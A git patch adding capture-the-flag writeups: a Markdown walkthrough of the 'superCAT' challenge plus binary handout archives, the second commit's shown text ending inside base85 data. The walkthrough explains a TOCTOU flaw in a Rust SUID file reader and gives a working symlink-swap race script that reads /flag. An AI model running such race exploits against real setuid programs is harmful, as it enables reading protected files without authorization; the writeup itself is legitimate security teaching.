From 0e62f47627309ca7f7a44be81239569eacc89290 Mon Sep 17 00:00:00 2001 From: Vighnesh Date: Wed, 24 Jun 2026 18:12:34 +0530 Subject: [PATCH 1/2] add writeup for GPN-CTF-2026 superCAT challenge --- .../superCAT/attachments/supercat.tar.gz | Bin 0 -> 1895 bytes .../writeups/GPN_CTF_2026/superCAT/index.md | 59 ++++++++++++++++++ 2 files changed, 59 insertions(+) create mode 100644 content/writeups/GPN_CTF_2026/superCAT/attachments/supercat.tar.gz create mode 100644 content/writeups/GPN_CTF_2026/superCAT/index.md diff --git a/content/writeups/GPN_CTF_2026/superCAT/attachments/supercat.tar.gz b/content/writeups/GPN_CTF_2026/superCAT/attachments/supercat.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..24a139b5b88c672b2f3becd150ed6485577de84b GIT binary patch literal 1895 zcmV-t2blODiwFP!00000|J2Vr3cxT715h8OH>hP$a-LASmwfJDlQC;ZAa9ZJB2?P< z<|ox#)=?M9o^H&3g9arK&HN8&2p468R%*&#DU-%=hxh>i0RR8w(Lo9T5D(SQ{is#wBnVFKZlyzP(|UN#$@MDq-y0D{TwKJ(zU4vk#`lpVv;I?0 z{6fU^ z%)(?^T>$_9|NrdOK?(p65QX7c&v6tEBP(X1B<22vjRgx9n$`SQczr#PSlaxL^)vkL z`v2CP|F5+8XK1l}Qi(27o#IPK)I4?o00960>{v@{!axxAyuV@y#gpqcs4Wdx5RD>j zlMo|SN)LIgCNvL83`NBM-r3byOKE#4g@SVk$?QD8%`mfDJJUa>WBm{0@n7_T+Hcbj z^{=XG=X3pEo%{b^(9kv?AV&~1wRzK_UKz&)-*D(nz$>FTAf#_vb7%tdL!1eCy5!{1 zwC@IE`;5FTnaKVdUzcr6Q9@J!HJ#|T%=5TwVU}2%&=!Pc58aYQu5z)MX6W@!F&}VvI6JRRO zw;@6yrLIBN~5T$@w77|GwYJ zc49m2wiY%RR1YDR?({pI?tVJy)l2)|+K&H|P^E66U;Tyl8~(q%I6FVM|6RPjeBu9p z(2&lg&BXVo`f9NI$h7a5sakQj?|+si1UH5sSLRWfFS1CK=5kSY#q!Y1FpS@;!QeIO z$3iWn_#kh~*tr>KQtbg&%^rYYrN zp=E%cV6IXr_{XPXKsfYfypyg0yb~*~NydA?>$FV9)$fUCyLl2<=W}I(T5v)H z`Q9tSF5%Ekb7|n_(3BcgdcBXnUx1jSVUOc|)rTS{7nskM1-`&ev_lfCws%X`b7 z-RxGZrZjh%5R49%%FM*@o0<&U5_PD+$`jF#H^;@UiIMYw-!Q;xL#Or_x9u-rKRo~& zKMyv33as6XLuA_x@B`@nwAF7XPI=v@Y{h9a&$fy20^1XCND01oAXk|toK|Q@89y)? zAU_n=(Ah8geK$t!gI1`il5GMt#|J0EW{cRbC&y4_4xfOcjgC644$QB1mT{9~GF|vS zk0OtEiCZDSr##@I)WclYbl!5MMW3g@|E6)}_Gz=FYc_NYYgp^Y=%(e-Zf?qzGT@o3 zmYdl|yUus?#jf9v&Ml)t68Y#WHMsz z-$UpCG(SqPXyaV5*K=(iwh>DvFs{@^W6v>- zGL*y)9f5e-Vcmlk88tk$+n~RvHw3ky#8l_0RRC1|Loeq z2>>t%1HhR|>He$rCHNK;gv$mYuY=_My9`+H-#yR&XCnN^fBYAX`H%njkN@~@pZ`7p h00960?Z7bs0002OAp55_!+sb5!2xrV_(T9U004wszC{24 literal 0 HcmV?d00001 diff --git a/content/writeups/GPN_CTF_2026/superCAT/index.md b/content/writeups/GPN_CTF_2026/superCAT/index.md new file mode 100644 index 0000000..9de1cc3 --- /dev/null +++ b/content/writeups/GPN_CTF_2026/superCAT/index.md @@ -0,0 +1,59 @@ ++++ +title = "superCAT" +date = 2026-06-26 +authors = ["Vighnesh"] ++++ + +> SuperCat. DO NOT EAT. +### Handout +[supercat.tar.gz](attachments/supercat.tar.gz) + +--- + +Category: Misc + +We were given a rust implementation of a stripped down cat. This is a basic TOCTOU attack. +Infamously rust makes it very easy to make this mistake if you use the standard fs abstraction as they all take a path and re-resolve it every time. + +[A very good blog post on the pitfalls in rust's fs implementation.](https://corrode.dev/blog/bugs-rust-wont-catch/) + +Time of check +``` +let file = Path::new(&args[1]); +let file_meta = std::fs::metadata(file).expect("could not get file info"); +``` + +Time of use +``` +let content = fs::read_to_string(file).expect("Could not read file as string"); +``` + + +In this we keep swapping the symlink between a file we own and a file we want to read but cant while simultaneously running the binary. +Eventually we get the timing correct and get the flag. +Essentially at the time of check we are pointing to the dummy file and at the time of use we are pointing to the flag and since this is SUID binary we get the flag. + +``` +BINARY="/usr/local/bin/supercat" +TARGET="/flag" +DUMMY="dummy_file" +LINK="link_file" + +touch $DUMMY + +# here we are swapping symlinks +( + while true; do + ln -sf "$DUMMY" "$LINK" + ln -sf "$TARGET" "$LINK" + done +) & +# here we are running supercat +while true; do + RESULT=$($BINARY "$LINK" 2>/dev/null) + + if [[ "$RESULT" == *"GPNCTF"* ]]; then + echo $RESULT + fi +done +``` From 8a438d15ec8ff06d3a1566a8c1bcc7fab9d79ce2 Mon Sep 17 00:00:00 2001 From: Vighnesh Date: Wed, 24 Jun 2026 18:22:53 +0530 Subject: [PATCH 2/2] add writeup for GPN-CTF-2026restaurant-builder challenge --- .../attachments/restaurant-builder.tar.gz | Bin 0 -> 26917 bytes .../GPN_CTF_2026/restaurant-builder/index.md | 56 ++++++++++++++++++ 2 files changed, 56 insertions(+) create mode 100644 content/writeups/GPN_CTF_2026/restaurant-builder/attachments/restaurant-builder.tar.gz create mode 100644 content/writeups/GPN_CTF_2026/restaurant-builder/index.md diff --git a/content/writeups/GPN_CTF_2026/restaurant-builder/attachments/restaurant-builder.tar.gz b/content/writeups/GPN_CTF_2026/restaurant-builder/attachments/restaurant-builder.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..b8a00fd391a163f9ab1f99516aab5900d184114a GIT binary patch literal 26917 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 